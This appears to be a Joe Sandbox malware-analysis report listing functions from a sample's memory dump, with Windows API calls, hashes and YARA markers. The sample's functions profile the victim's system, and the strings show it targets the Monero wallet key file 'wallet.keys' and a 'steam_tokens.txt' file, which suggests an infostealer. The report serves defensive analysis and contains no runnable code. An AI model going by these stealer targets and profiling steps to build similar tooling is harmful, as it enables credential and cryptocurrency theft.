Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 4492659b9ffb6a8940b64069546bdfad7f3d9023486119cefba5596678d0701e
Instruction ID: 3a76c824635acaf9606fe3a72e78363fe3af443b6b9b25d465c201dc007b71a0
Opcode Fuzzy Hash: 4492659b9ffb6a8940b64069546bdfad7f3d9023486119cefba5596678d0701e
Instruction Fuzzy Hash: FCF0D622E20B4497CA30DFB48A451A67770AF7B218F103B3AE84C63621FB3069D8C3D1

Function 00EF9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00EF9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00EF94A5
CloseHandle.KERNEL32(00000000), ref: 00EF94AF

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 43739e9d426b9b64ccdacbfd1914eaa56112c6a898ca31e4de9bf4deb64eb6a1
Instruction ID: c812c2cb17e5cb2c5c70a5029fdcadaa1e393dcd5eb24dd1461b369512924c47
Opcode Fuzzy Hash: 43739e9d426b9b64ccdacbfd1914eaa56112c6a898ca31e4de9bf4deb64eb6a1
Instruction Fuzzy Hash: B8F0307490020CFBDB28DF94D84AFE97774EB08701F004458FA1997280D6B16AC5CB90

Function 00EE1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EE112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00EE1132
ExitProcess.KERNEL32 ref: 00EE1143

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 05f22e5cf6cc8229baf70f6e791edeaa3ba87bbc5a67e31870a62703207aed83
Instruction ID: 90dd0a9e5c461cbb45debff47b44a4dfd039fb3ce5c1336501cf25d4bec317fe
Opcode Fuzzy Hash: 05f22e5cf6cc8229baf70f6e791edeaa3ba87bbc5a67e31870a62703207aed83
Instruction Fuzzy Hash: 9BE0E67094534CFBE7346FA1AC0AB0D76B8AF04B06F105094F709B75C4D6F526909799

Function 00EF1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EF7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00EF7542
Part of subcall function 00EF7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00EF757F
Part of subcall function 00EF7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7603
Part of subcall function 00EF7500: RtlAllocateHeap.NTDLL(00000000), ref: 00EF760A

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

Part of subcall function 00EF7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF76A4
Part of subcall function 00EF7690: RtlAllocateHeap.NTDLL(00000000), ref: 00EF76AB

Part of subcall function 00EF77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00EFDBC0,000000FF,?,00EF1C99,00000000,?,0175D6B8,00000000,?), ref: 00EF77F2
Part of subcall function 00EF77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00EFDBC0,000000FF,?,00EF1C99,00000000,?,0175D6B8,00000000,?), ref: 00EF77F9

Part of subcall function 00EF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EE11B7), ref: 00EF7880
Part of subcall function 00EF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7887
Part of subcall function 00EF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EF789F

Part of subcall function 00EF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7910
Part of subcall function 00EF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7917
Part of subcall function 00EF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00EF792F

Part of subcall function 00EF7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F00E00,00000000,?), ref: 00EF79B0
Part of subcall function 00EF7980: RtlAllocateHeap.NTDLL(00000000), ref: 00EF79B7
Part of subcall function 00EF7980: GetLocalTime.KERNEL32(?,?,?,?,?,00F00E00,00000000,?), ref: 00EF79C4
Part of subcall function 00EF7980: wsprintfA.USER32 ref: 00EF79F3

Part of subcall function 00EF7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0175DBF8,00000000,?,00F00E10,00000000,?,00000000,00000000), ref: 00EF7A63
Part of subcall function 00EF7A30: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7A6A
Part of subcall function 00EF7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0175DBF8,00000000,?,00F00E10,00000000,?,00000000,00000000,?), ref: 00EF7A7D

Part of subcall function 00EF7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0175DBF8,00000000,?,00F00E10,00000000,?,00000000,00000000), ref: 00EF7B35

Part of subcall function 00EF7B90: GetKeyboardLayoutList.USER32(00000000,00000000,00F005AF), ref: 00EF7BE1
Part of subcall function 00EF7B90: LocalAlloc.KERNEL32(00000040,?), ref: 00EF7BF9
Part of subcall function 00EF7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00EF7C0D
Part of subcall function 00EF7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00EF7C62
Part of subcall function 00EF7B90: LocalFree.KERNEL32(00000000), ref: 00EF7D22

Part of subcall function 00EF7D80: GetSystemPowerStatus.KERNEL32(?), ref: 00EF7DAD

GetCurrentProcessId.KERNEL32(00000000,?,0175D698,00000000,?,00F00E24,00000000,?,00000000,00000000,?,0175DD00,00000000,?,00F00E20,00000000), ref: 00EF207E

Part of subcall function 00EF9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00EF9484
Part of subcall function 00EF9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00EF94A5
Part of subcall function 00EF9470: CloseHandle.KERNEL32(00000000), ref: 00EF94AF

Part of subcall function 00EF7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7E37
Part of subcall function 00EF7E00: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7E3E
Part of subcall function 00EF7E00: RegOpenKeyExA.KERNEL32(80000002,0174BC40,00000000,00020119,?), ref: 00EF7E5E
Part of subcall function 00EF7E00: RegQueryValueExA.KERNEL32(?,0175D758,00000000,00000000,000000FF,000000FF), ref: 00EF7E7F
Part of subcall function 00EF7E00: RegCloseKey.ADVAPI32(?), ref: 00EF7E92

Part of subcall function 00EF7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00EF7FC9
Part of subcall function 00EF7F60: GetLastError.KERNEL32 ref: 00EF7FD8

Part of subcall function 00EF7ED0: GetSystemInfo.KERNEL32(00F00E2C), ref: 00EF7F00
Part of subcall function 00EF7ED0: wsprintfA.USER32 ref: 00EF7F16

Part of subcall function 00EF8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0175DBC8,00000000,?,00F00E2C,00000000,?,00000000), ref: 00EF8130
Part of subcall function 00EF8100: RtlAllocateHeap.NTDLL(00000000), ref: 00EF8137
Part of subcall function 00EF8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00EF8158
Part of subcall function 00EF8100: __aulldiv.LIBCMT ref: 00EF8172
Part of subcall function 00EF8100: __aulldiv.LIBCMT ref: 00EF8180
Part of subcall function 00EF8100: wsprintfA.USER32 ref: 00EF81AC

Part of subcall function 00EF87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F00E28,00000000,?), ref: 00EF882F
Part of subcall function 00EF87C0: RtlAllocateHeap.NTDLL(00000000), ref: 00EF8836
Part of subcall function 00EF87C0: wsprintfA.USER32 ref: 00EF8850

Part of subcall function 00EF8320: RegOpenKeyExA.KERNEL32(00000000,0175A9E0,00000000,00020019,00000000,00F005B6), ref: 00EF83A4

Part of subcall function 00EF8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00EF8426
Part of subcall function 00EF8320: wsprintfA.USER32 ref: 00EF8459
Part of subcall function 00EF8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00EF847B
Part of subcall function 00EF8320: RegCloseKey.ADVAPI32(00000000), ref: 00EF848C
Part of subcall function 00EF8320: RegCloseKey.ADVAPI32(00000000), ref: 00EF8499

Part of subcall function 00EF8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00F005B7), ref: 00EF86CA
Part of subcall function 00EF8680: Process32First.KERNEL32(?,00000128), ref: 00EF86DE
Part of subcall function 00EF8680: Process32Next.KERNEL32(?,00000128), ref: 00EF86F3
Part of subcall function 00EF8680: CloseHandle.KERNEL32(?), ref: 00EF8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00EF265B

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 3e6a2e6af68b9797b4ba255d1d5297701fa5f06556699450b21b7ad4c02a91d6
Instruction ID: 3358845fb037170d8b5afe787b25f14c6dc1fcfa7c80568bd1c5ff9f8e8f1ec5
Opcode Fuzzy Hash: 3e6a2e6af68b9797b4ba255d1d5297701fa5f06556699450b21b7ad4c02a91d6
Instruction Fuzzy Hash: 2A72A0B2C1005CAACB19FB50DC95EFE73B8AF54340F5492B9B21A76095EF702B49CB61

Function 00EE6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d38aacd46f18b56fe1ca4a9af10dee003be5a654abf1c7ac494f86fdfd7abe67
Instruction ID: cfa745c0b793960a6bd2918925cead8b4a434754e4841a76bd842f4bcd4afdde
Opcode Fuzzy Hash: d38aacd46f18b56fe1ca4a9af10dee003be5a654abf1c7ac494f86fdfd7abe67
Instruction Fuzzy Hash: 166122B4A0024CEBCB14DF95E984BEEB7B0BB18348F109598E419B7280D735AF94DF91

Function 00EF5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA820: lstrlen.KERNEL32(00EE4F05,?,?,00EE4F05,00F00DDE), ref: 00EFA82B
Part of subcall function 00EFA820: lstrcpy.KERNEL32(00F00DDE,00000000), ref: 00EFA885

lstrlen.KERNEL32(00000000,00000000,00F00ACA), ref: 00EF512A

Strings

steam_tokens.txt, xrefs: 00EF513F

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 1ceca9c13cf612f1277ca2a20d84bf01b70efcad8623d325d57566dcfc34dfbe
Instruction ID: b37e1485cc5bf370ac8a733ed10e5795fb9ba432721e0cb9c066d282afd4d3b6
Opcode Fuzzy Hash: 1ceca9c13cf612f1277ca2a20d84bf01b70efcad8623d325d57566dcfc34dfbe
Instruction Fuzzy Hash: 37F04BB290010C66CB18FBA0E856DFD73BCAB50340F449168BA5A76092EE34A619D6A3

Function 00EF7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00F00E2C), ref: 00EF7F00
wsprintfA.USER32 ref: 00EF7F16

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

